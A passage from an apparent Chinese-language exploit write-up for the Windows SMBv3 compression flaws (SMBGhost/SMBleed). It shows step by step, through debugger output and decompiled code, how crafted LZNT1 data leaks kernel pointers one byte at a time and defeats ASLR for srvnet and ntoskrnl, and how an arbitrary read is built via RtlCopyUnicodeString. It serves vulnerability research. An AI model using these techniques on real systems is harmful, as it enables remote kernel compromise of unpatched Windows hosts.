return (unsigned int)v10;
}
XX XX FF FF FF模式: 滿足XX XX FF FF FF模式的壓縮塊會在解壓時產生錯誤,其中,XXXX&FFF>0且第二個XX的最高位為1。作者在進行數據泄露的時候使用的FF FF滿足此條件,關鍵代碼如下,當標志字節為FF時,由于第一個標志位被設置,會跳出上面的循環,然后取出兩個字節的0xFFFF。由于比較第一個比特位的時候就跳出循環,decompress_data_p1、decompress_data_p2 和 decompress_data_p3 都指向原始的目標緩沖區(本來也就是起點)。所以 v11 也是初始值 0xD,v14(v15)為標志位1相應的雙字0xFFFF。由于decompress_data_p1 - 0xFFFF >> 0xD -1 肯定小于decompress_data_p2,會返回錯誤碼 0xC0000242。
if ( *compressed_data_p1 & 1 )
break;
*decompress_data_p1 = compressed_data_p1[1];
......
}
while ( decompress_data_p1 > decompress_data_p3 )
{
v11 = (unsigned int)(v11 - 1);
decompress_data_p3 = (_BYTE *)(dword_14037B700[v11] + decompress_data_p2);
}
v13 = compressed_data_p1 + 1;
v14 = *(_WORD *)(compressed_data_p1 + 1);
v15 = v14;
v17 = dword_14037B744[v11] & v14;
v11 = (unsigned int)v11;
v16 = v17;
v18 = &decompress_data_p1[-(v15 >> v11) - 1];
if ( (unsigned __int64)v18 < decompress_data_p2 )
return 0xC0000242i64;
//調試數據
kd>
nt!LZNT1DecompressChunk+0x66e:
fffff802`52ddd93e 488d743eff lea rsi,[rsi+rdi-1]
kd> p
nt!LZNT1DecompressChunk+0x673:
fffff802`52ddd943 493bf2 cmp rsi,r10
kd>
nt!LZNT1DecompressChunk+0x676:
fffff802`52ddd946 0f82cd040000 jb nt!LZNT1DecompressChunk+0xb49 (fffff802`52ddde19)
kd>
nt!LZNT1DecompressChunk+0xb49:
fffff802`52ddde19 b8420200c0 mov eax,0C0000242h
單字節泄露思路
泄露的思路就是利用解壓算法的上述特性,在想要泄露的字節后面加上b0(滿足壓縮標志)以及一定數量的 00 和 FF,00表示的數據為絕對有效數據。當處理完一個壓縮塊之后,會繼續向后取兩個字節,如果取到的是00 00,解壓就會正常完成,如果是 00 FF 或者 FF FF,解壓就會失敗。
kd> db ffffa508`31ac1158
ffffa508`31ac1158 18 3a 80 34 08 a5 b0 00-00 00 00 00 00 00 00 00 .:.4............
ffffa508`31ac1168 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1178 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
如下所示,a5是想要泄露的字節,先假設可以將測試數據放在后面。根據解壓算法可知,首先會取出b0a5,然后和0xfff相與后加3,得到a8,從a5開始數a8個字節,這些數據都屬于第一個壓縮塊。如果要求第二次取出來的雙字還是00 00,就需要a8-2+2個字節的00,也就是a5+3。如果00的個數小于x+3,第二次取雙字的時候就一定會命中后面的FF,觸發錯誤。采用二分法找到滿足條件的x,使得當00的數量為x+3時解壓縮正常完成,并且當00的數量為x+2時解壓失敗,此時得到要泄露的那個字節數據x。

下面開始步入正題,一步一步獲取關鍵模塊基址,劫持系統執行流程。為了方便描述利用思路,在 Windows 1903 單核系統上進行調試,利用前還需要收集各漏洞版本以下函數在模塊中的偏移,以便后續進行匹配,計算相應模塊基址及函數地址:
| srvnet.sys | ntoskrnl.exe |
|---|---|
| srvnet!SrvNetWskConnDispatch | nt!IoSizeofWorkItem |
| srvnet!imp_IoSizeofWorkItem | nt!MiGetPteAddress |
| srvnet!imp_RtlCopyUnicodeString |
泄露 User Buffer 指針
這一步要泄露的數據是已知大小緩沖區的User Buffer指針(POC中是0x2100)。請求包結構如下,Offset為0x2116,Originalsize為0,由于Offset+Originalsize=0x2116,所以會分配大小為0x4100的User Buffer來存放還原的數據。然而,原始請求包的User Buffer大小為0x2100(可容納0x10大小的頭和0x1101大小的Data),Offset 0x2116明顯超出了該緩沖區的長度,在后續的memcpy操作中會存在越界讀取。Offset欺騙也是1206的一部分,在取得Offset的值之后沒有判斷其大小是否超出的User Buffer的界限,從而在解壓成功后將這部分數據復制到一個可控的區域。又由于數據未初始化,可利用LZNT1解壓將目標指針泄露出來。

以下為請求包的Srvnet Buffer Header信息,由于復制操作是從Raw Data區域開始(跳過0x10頭部),因而越界讀取并復制的數據長度為0x2116+0x10-0x2100 = 0x26,這包括存放在Srvnet Buffer Header偏移0x18處的User Buffer指針 0xffffa50836240050。
kd> g
request: ffffa508`36240050 424d53fc 00000000 00000001 00002116
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> dd rax
ffffa508`36242150 2f566798 ffffa508 2f566798 ffffa508
ffffa508`36242160 00010002 00000000 36240050 ffffa508
ffffa508`36242170 00002100 00001111 00002288 c0851000
kd> dd ffffa508`36240050+10+2116-6-10 l8
ffffa508`36242160 00010002 00000000 36240050 ffffa508
ffffa508`36242170 00002100 00001111 00002288 c0851000
以下為分配的0x4100的緩沖區,其User Buffer首地址為0xffffa50835a92050:
kd> g
alloc: ffffa508`35a92050 cf8b48d6 006207e8 ae394c00 00000288
srv2!Srv2DecompressData+0x85:
fffff802`51ce7ee5 488bd8 mov rbx,rax
kd> dd rax
ffffa508`35a96150 a1e83024 48fffaef 4810478b 30244c8d
ffffa508`35a96160 00020002 00000000 35a92050 ffffa508
ffffa508`35a96170 00004100 00000000 000042a8 245c8b48
由于解壓成功,所以進入memcpy流程,0x2100緩沖區的User Buffer指針0xffffa50836240050被復制到0x4100緩沖區偏移0x2108處:
kd> dd ffffa508`35a92050 + 2100
ffffa508`35a94150 840fc085 000000af 24848d48 000000a8
ffffa508`35a94160 24448948 548d4120 b9410924 00000eda
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dd ffffa508`35a92050 + 2100
ffffa508`35a94150 00010002 00000000 36240050 ffffa508
ffffa508`35a94160 00002100 548d1111 b9410924 00000eda
然后下一步是覆蓋 0x4100緩沖區中存放的0x2100緩沖區User Buffer Ptr 中 08 a5 后面的ffff等數據(由于地址都是以0xffff開頭,所以這兩個字節可以不用測)。為了不破壞前面的數據(不執行memcpy),要使得解壓失敗(在壓縮的測試數據后面填充\xFF),但成功解壓出測試數據。

以下為解壓前后保存的User Buffer Ptr 的狀態,可以發現解壓后的數據正好滿足之前所講的單字節泄露模式,如果可欺騙程序使其解壓0xffffa50835a9415d處的數據,就可以通過多次測試泄露出最高位0xa5:
//待解壓數據
kd> dd ffffa508`31edb050+10+210e
ffffa508`31edd16e b014b007 ff007e00 ffff007c ffffffff
ffffa508`31edd17e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd18e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd19e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1ae ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1be ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1ce ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1de ffffffff ffffffff ffffffff ffffffff
//解壓前數據
kd> db r9 - 6
ffffa508`35a94158 50 00 24 36 08 a5 ff ff-00 21 00 00 11 11 8d 54 P.$6.....!.....T
ffffa508`35a94168 24 09 41 b9 da 0e 00 00-45 8d 44 24 01 48 8b ce $.A.....E.D$.H..
ffffa508`35a94178 ff 15 c2 68 01 00 85 c0-78 27 8b 94 24 a8 00 00 ...h....x'..$...
ffffa508`35a94188 00 0f b7 c2 c1 e8 08 8d-0c 80 8b c2 c1 e8 10 0f ................
ffffa508`35a94198 b6 c0 03 c8 0f b6 c2 8d-0c 41 41 3b cf 41 0f 96 .........AA;.A..
ffffa508`35a941a8 c4 48 8d 44 24 30 48 89-44 24 20 ba 0e 00 00 00 .H.D$0H.D$ .....
ffffa508`35a941b8 41 b9 db 0e 00 00 44 8d-42 f4 48 8b ce ff 15 75 A.....D.B.H....u
ffffa508`35a941c8 68 01 00 85 c0 78 2f 8b-54 24 30 0f b7 c2 c1 e8 h....x/.T$0.....
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
//解壓后數據
kd> db ffffa508`35a9415d lff
ffffa508`35a9415d a5 b0 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9416d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9417d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9418d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9419d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941ad 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941bd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941cd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941dd 00 00 00 00 ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a941ed ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a941fd ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9420d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9421d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9422d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9423d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9424d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ...............
控制后續的請求包占用之前布置好的0x4100緩沖區,設置Offset使其指向待泄露的那個字節,利用LZTN1解壓算法從高位到低位逐個泄露字節。主要是利用LZTN1解壓算法特性以及SMB2協商,在SMB2協商過程中使用LZTN1壓縮,對SMB2 SESSION SETUP請求數據進行壓縮。構造如下請求,如果LZNT1測試數據解壓成功,就代表要泄露的數據不小于0的個數減3,并且由于解壓成功,SMB2 SESSION SETUP數據成功被復制。如果解壓失敗,SMB2 SESSION SETUP數據不會被復制,連接斷開。根據連接是否還在調整0的個數,如果連接斷開,就增大0的個數,否則減小0的個數,直到找到臨界值,泄露出那個字節。

泄露srvnet基址
SRVNET_BUFFER_HDR第一項為ConnectionBufferList.Flink指針(其指向SRVNET_RECV偏移0x58處的ConnectionBufferList.Flink),SRVNET_RECV偏移0x100處存放了AcceptSocket指針。AcceptSocket偏移0x30處為srvnet!SrvNetWskConnDispatch函數指針。可通過泄露這個指針,然后減去已有偏移得到srvnet模塊的基址。

//SRVNET_BUFFER_HDR
kd> dd rax
ffffa508`31221150 2f566798 ffffa508 2f566798 ffffa508
ffffa508`31221160 00030002 00000000 31219050 ffffa508
ffffa508`31221170 00008100 00008100 000082e8 ffffffff
ffffa508`31221180 31219000 ffffa508 312211e0 ffffa508
ffffa508`31221190 00000000 ffffffff 00008100 00000000
ffffa508`312211a0 31221260 ffffa508 31221150 ffffa508
//SRVNET_RECV->AcceptSocket
kd> dq ffffa5082f566798 - 58 + 100
ffffa508`2f566840 ffffa508`36143c28 00000000`00000000
ffffa508`2f566850 00000000`00000000 ffffa508`3479cd18
ffffa508`2f566860 ffffa508`2f4a6dc0 ffffa508`34ae4170
ffffa508`2f566870 ffffa508`35f56040 ffffa508`34f19520
//srvnet!SrvNetWskConnDispatch
kd> u poi(ffffa508`36143c28+30)
srvnet!SrvNetWskConnDispatch:
fffff802`57d3d170 50 push rax
fffff802`57d3d171 5a pop rdx
fffff802`57d3d172 d15702 rcl dword ptr [rdi+2],1
fffff802`57d3d175 f8 clc
fffff802`57d3d176 ff ???
fffff802`57d3d177 ff00 inc dword ptr [rax]
fffff802`57d3d179 6e outs dx,byte ptr [rsi]
fffff802`57d3d17a d15702 rcl dword ptr [rdi+2],1
泄露ConnectionBufferList.Flink指針 首先要泄露ConnectionBufferList.Flink指針,以便泄露AcceptSocket指針以及srvnet!SrvNetWskConnDispatch函數指針。在這里使用了另一種思路:使用正常壓縮的數據[:-6]覆蓋ConnectionBufferList.Flink指針之前數據,這樣在解壓的時候正好可以帶出這6個字節,要注意請求數據長度與Offset+0x10的差值,這個差值應該大于壓縮數據+6的長度。在這個過程中需要保持一個正常連接,使得泄露出的ConnectionBufferList所在的SRVNET_RECV結構是有效的。如下所示,解壓后的數據長度正好為0x2b,其中,后6位為ConnectionBufferList的低6個字節。
kd> g
request: ffffa508`31219050 424d53fc 0000002b 00000001 000080e3
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> db ffffa508`31219050+80e3+10 l20 //待解壓數據
ffffa508`31221143 10 b0 40 41 42 43 44 45-46 1b 50 58 00 18 3a 80 ..@ABCDEF.PX..:.
ffffa508`31221153 34 08 a5 ff ff 18 3a 80-34 08 a5 ff ff 02 00 03 4.....:.4.......
kd> g
srv2!Srv2DecompressData+0xdc:
fffff802`51ce7f3c e86f650406 call srvnet!SmbCompressionDecompress (fffff802`57d2e4b0)
kd> db r9 l30 //解壓前緩沖區
ffffa508`31ac1133 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1143 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1153 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
kd> db ffffa508`31ac1133 l30 //解壓后緩沖區
ffffa508`31ac1133 41 42 43 44 45 46 41 42-43 44 45 46 41 42 43 44 ABCDEFABCDEFABCD
ffffa508`31ac1143 45 46 41 42 43 44 45 46-41 42 43 44 45 46 41 42 EFABCDEFABCDEFAB
ffffa508`31ac1153 43 44 45 46 58 18 3a 80-34 08 a5 ff ff ff ff ff CDEFX.:.4.......
然后向目標緩沖區偏移0x810e處解壓覆蓋測試數據 b0 00 00 ... ,之前解壓出的0x2b大小的數據放在了偏移0x80e3處,如果要從最后一位開始覆蓋,那解壓縮的偏移就是0x810e+0x2b(即0x810e)。
kd> g
request: ffffa508`31edb050 424d53fc 00007ff2 00000001 0000810e
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
//解壓前
kd> db rdx //rdx指向待解壓數據
ffffa508`31ee316e 07 b0 14 b0 00 7e 00 ff-7c 00 ff ff ff ff ff ff .....~..|.......
ffffa508`31ee317e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee318e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee319e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31ae ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31be ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31ce ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31de ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
kd> db r9-6 l30 //r9指向目標緩沖區
ffffa508`31ac1158 18 3a 80 34 08 a5 ff ff-ff ff ff ff ff ff ff ff .:.4............
ffffa508`31ac1168 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1178 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
//解壓后
kd> db ffffa508`31ac1158 l30
ffffa508`31ac1158 18 3a 80 34 08 a5 b0 00-00 00 00 00 00 00 00 00 .:.4............
ffffa508`31ac1168 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1178 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
然后采用和之前一樣的方式泄露該地址低6個字節。根據連接是否斷開調整00的長度,直到找到滿足臨界點的值,從而泄露出ConnectionBufferList。
kd> g
request: ffffa508`31ab9050 424d53fc 00008004 00000001 000080fd
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> db rdx-6 l100
ffffa508`31ac1157 58 18 3a 80 34 08 a5 b0-00 00 00 00 00 00 00 00 X.:.4...........
ffffa508`31ac1167 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1177 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1187 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1197 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11a7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11b7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11c7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11d7 00 00 00 00 00 00 00 00-00 00 ff ff ff ff ff ff ................
ffffa508`31ac11e7 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11f7 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1207 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1217 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1227 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1237 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1247 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
后面就是繼續獲取AcceptSocket指針以及srvnet!SrvNetWskConnDispatch函數指針。SrvNetFreeBuffer函數中存在如下代碼(有省略),可幫助我們將某地址處的值復制到一個可控的地址。當BufferFlags為3時,pMdl1指向MDL中的MappedSystemVa會變成之前的值加0x50,pMdl2指向的MDL中的StartVa被賦值為pMdl1->MappedSystemVa + 0x50的高52位,pMdl2指向的MDL中的ByteOffset被賦值為pMdl1->MappedSystemVa + 0x50的低12位。也就是說pMdl2的StartVa和ByteOffset中會分開存放原先pMdl1中的MappedSystemVa的值加0x50的數據。
void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer)
{
PMDL pMdl1 = Buffer->pMdl1;
PMDL pMdl2 = Buffer->pMdl2;
if (Buffer->BufferFlags & 0x02) {
if (Buffer->BufferFlags & 0x01) {
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF
}
Buffer->BufferFlags = 0;
// ...
pMdl1->Next = NULL;
pMdl2->Next = NULL;
// Return the buffer to the lookaside list.
} else {
SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}
}
可利用上述流程,將指定地址處的數據再加0x50的值復制到pMdl2指向的結構中,然后再利用之前的方法逐字節泄露。思路是通過覆蓋兩個pmdl指針,覆蓋pmdl1指針為AcceptSocket指針減0x18,這和MDL結構相關,如下所示,其偏移0x18處為MappedSystemVa指針,這樣可使得AcceptSocket地址正好存放在pMdl1->MappedSystemVa。然后覆蓋pmdl2指針為一個可控的內存,POC中為之前泄露的0x2100內存的指針加0x1250偏移處。這樣上述代碼執行后,就會將AcceptSocket地址的信息存放在pmdl2指向的MDL結構(已知地址)中。
kd> dt _mdl
win32k!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
kd> ?ffffa50834803a18-58+100-18
Evaluate expression: -100020317570392 = ffffa508`34803aa8
kd> ?ffffa50836240000+1250 //這個和no transport header相關
Evaluate expression: -100020290055600 = ffffa508`36241250
//覆蓋前
kd> dd ffffa508`31ab9050+10138
ffffa508`31ac9188 31ac91e0 ffffa508 00000000 00000000
ffffa508`31ac9198 00000000 00000000 31ac92a0 ffffa508
ffffa508`31ac91a8 00000000 00000000 00000000 00000000
//覆蓋后
kd> dd ffffa508`31ac9188
ffffa508`31ac9188 34803aa8 ffffa508 00000000 00000000
ffffa508`31ac9198 00000000 00000000 36241250 ffffa508
ffffa508`31ac91a8 00000000 00000000 00000000 00000000
之后通過解壓覆蓋偏移0x10處的BufferFlags,使其由2變為3,壓縮數據后面加入多個"\xFF"使得解壓失敗,這樣在后續調用 SrvNetFreeBuffer函數時才能進入上述流程。其中:flag第一個比特位被設置代表沒有Transport Header,所以那段代碼實際上是留出了傳輸頭。
kd> dd r9-10
ffffa508`31ac9150 00000000 00000000 34ba42d8 ffffa508
ffffa508`31ac9160 00040002 00000000 31ab9050 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
kd> dd ffffa508`31ac9150
ffffa508`31ac9150 00000000 00000000 34ba42d8 ffffa508
ffffa508`31ac9160 00040003 00000000 31ab9050 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
當調用SrvNetFreeBuffer釋放這個緩沖區時會觸發那段流程,此時想泄露的數據已經放在了0xffffa50836241250處的MDL結構中。如下所示,為0xffffa5083506b848。然后再用之前的方法依次泄露0xffffa50836241250偏移0x2D、0x2C、0x25、0x24、0x23、0x22、0x21處的字節,然后組合成0xffffa5083506b848。
kd> dt _mdl ffffa50836241250
win32k!_MDL
+0x000 Next : (null)
+0x008 Size : 0n56
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : (null)
+0x020 StartVa : 0xffffa508`3506b000 Void
+0x028 ByteCount : 0xffffffb0
+0x02c ByteOffset : 0x848
kd> db ffffa50836241250
ffffa508`36241250 00 00 00 00 00 00 00 00-38 00 04 00 00 00 00 00 ........8.......
ffffa508`36241260 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`36241270 00 b0 06 35 08 a5 ff ff-b0 ff ff ff 48 08 00 00 ...5........H...
kd> ?poi(ffffa508`34803aa8+18) //AcceptSocket - 0x50
Evaluate expression: -100020308756408 = ffffa508`3506b848
由于之前flag加上了1,沒有傳輸頭,所以SRVNET_BUFFER_HDR偏移0x18處的user data指針比之前多0x50(計算偏移的時候要注意)。這次將BufferFlags覆蓋為0,在SrvNetFreeBuffer函數中就不會將其直接加入SrvNetBufferLookasides表,而是釋放該緩沖區。
kd> dd r9-10
ffffa508`31ac9150 00000000 00000000 35caba58 ffffa508
ffffa508`31ac9160 00040002 00000000 31ab90a0 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
kd> dd ffffa508`31ac9150
ffffa508`31ac9150 00000000 00000000 35caba58 ffffa508
ffffa508`31ac9160 00040000 00000000 31ab90a0 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
后面還是和之前一樣,依次從高地址到低地址泄露每一個字節,經過組合最終得到后面還是和之前一樣,依次從高地址到低地址泄露每一個字節,經過組合最終得到AcceptSocket地址為 0xffffa5083506b848 - 0x50 = 0xffffa508`3506b7f8。
kd> db ffffa508`36241250+2d-10
ffffa508`3624126d 00 00 00 00 b0 06 35 08-a5 ff ff b0 ff ff ff 48 ......5........H
ffffa508`3624127d 08 b0 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`3624128d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`3624129d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412ad 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412bd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412cd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412dd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................................
kd> u poi(ffffa508`3506b7f8+30)
srvnet!SrvNetWskConnDispatch:
fffff802`57d3d170 50 push rax
fffff802`57d3d171 5a pop rdx
fffff802`57d3d172 d15702 rcl dword ptr [rdi+2],1
fffff802`57d3d175 f8 clc
fffff802`57d3d176 ff ???
fffff802`57d3d177 ff00 inc dword ptr [rax]
fffff802`57d3d179 6e outs dx,byte ptr [rsi]
fffff802`57d3d17a d15702 rcl dword ptr [rdi+2],1
采用同樣的方法可獲取AcceptSocket偏移0x30處的srvnet!SrvNetWskConnDispatch函數的地址。
泄露ntoskrnl基址
任意地址讀 SrvNetCommonReceiveHandler函數中存在如下代碼,其中v10指向SRVNET_RECV結構體,以下代碼是對srv2!Srv2ReceiveHandler函數的調用(HandlerFunctions表中的第二項),第一個參數來自于SRVNET_RECV結構體偏移0x128處,第二個參數來自于SRVNET_RECV結構體偏移0x130處。可通過覆蓋SRVNET_RECV結構偏移0x118、0x128、0x130處的數據,進行已知函數的調用(參數個數不大于2)。
//srvnet!SrvNetCommonReceiveHandler
v32 = *(_QWORD *)(v10 + 0x118);
v33 = *(_QWORD *)(v10 + 0x130);
v34 = *(_QWORD *)(v10 + 0x128);
*(_DWORD *)(v10 + 0x144) = 3;
v35 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD, _QWORD, __int64, __int64, __int64, __int64, __int64))(v32 + 8))( v34, v33, v8, (unsigned int)v11, v9, a5, v7, a7, v55);

以下為RtlCopyUnicodeString函數部分代碼,該函數可通過srvnet!imp_RtlCopyUnicodeString索引,并且只需要兩個參數(PUNICODE_STRING結構)。如下所示,PUNICODE_STRING中包含Length、MaximumLength(偏移2)和Buffer(偏移8)。RtlCopyUnicodeString函數會調用memmove將SourceString->Buffer復制到DestinationString->Buffer,復制長度為SourceString->Length和DestinationString->MaximumLength中的最小值。
//RtlCopyUnicodeString
void __stdcall RtlCopyUnicodeString(PUNICODE_STRING DestinationString, PCUNICODE_STRING SourceString)
{
v2 = DestinationString;
if ( SourceString )
{
v3 = SourceString->Length;
v4 = DestinationString->MaximumLength;
v5 = SourceString->Buffer;
if ( (unsigned __int16)v3 <= (unsigned __int16)v4 )
v4 = v3;
v6 = DestinationString->Buffer;
v7 = v4;
DestinationString->Length = v4;
memmove(v6, v5, v4);
//PUNICODE_STRING
typedef struct __UNICODE_STRING_
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
可通過覆蓋HandlerFunctions,“替換”srv2!Srv2ReceiveHandler函數指針為nt!RtlCopyUnicodeString函數指針,覆蓋DestinationString為已知地址的PUNICODE_STRING結構地址,SourceString為待讀取地址的PUNICODE_STRING結構地址,然后通過向該連接繼續發送請求實現任意地址數據讀取。

ntoskrnl泄露步驟 1、首先還是要獲取一個ConnectionBufferList的地址,本次調試為0xffffa50834ba42d8。 2、利用任意地址寫,將特定數據寫入可控的緩沖區(0x2100緩沖區)的已知偏移處。成功復制后,0xffffa50836241658處為0xffffa50836241670,正好指向復制數據的后面,0xffffa50836241668處為0xfffff80257d42210(srvnet!imp_IoSizeofWorkItem),指向nt!IoSizeofWorkItem函數(此次要泄露nt!IoSizeofWorkItem函數地址)。
//要復制的數據
kd> dd ffffa508`36240050
ffffa508`36240050 424d53fc ffffffff 00000001 00000020
ffffa508`36240060 00060006 00000000 36241670 ffffa508
ffffa508`36240070 00060006 00000000 57d42210 fffff802
kd> dd ffffa508`2fe38050+1100 //任意地址寫,注意0xffffa5082fe39168處數據
ffffa508`2fe39150 35c3e150 ffffa508 34803a18 ffffa508
ffffa508`2fe39160 00000002 00000000 2fe38050 ffffa508
ffffa508`2fe39170 00001100 00000000 00001278 00000400
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
kd> dd ffffa508`2fe38050+1100 //要復制的可控地址(0x18處)
ffffa508`2fe39150 00000000 00000000 00000000 00000000
ffffa508`2fe39160 00000000 00000000 36241650 ffffa508
ffffa508`2fe39170 00001100 00000000 00001278 00000400
kd> g
copy: ffffa508`36241650 00000000`00000000 00000000`00000000
srv2!Srv2DecompressData+0x108:
fffff802`51ce7f68 e85376ffff call srv2!memcpy (fffff802`51cdf5c0)
kd> dd rcx
ffffa508`36241650 00000000 00000000 00000000 00000000
ffffa508`36241660 00000000 00000000 00000000 00000000
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dd ffffa508`36241650 //成功復制
ffffa508`36241650 00060006 00000000 36241670 ffffa508
ffffa508`36241660 00060006 00000000 57d42210 fffff802
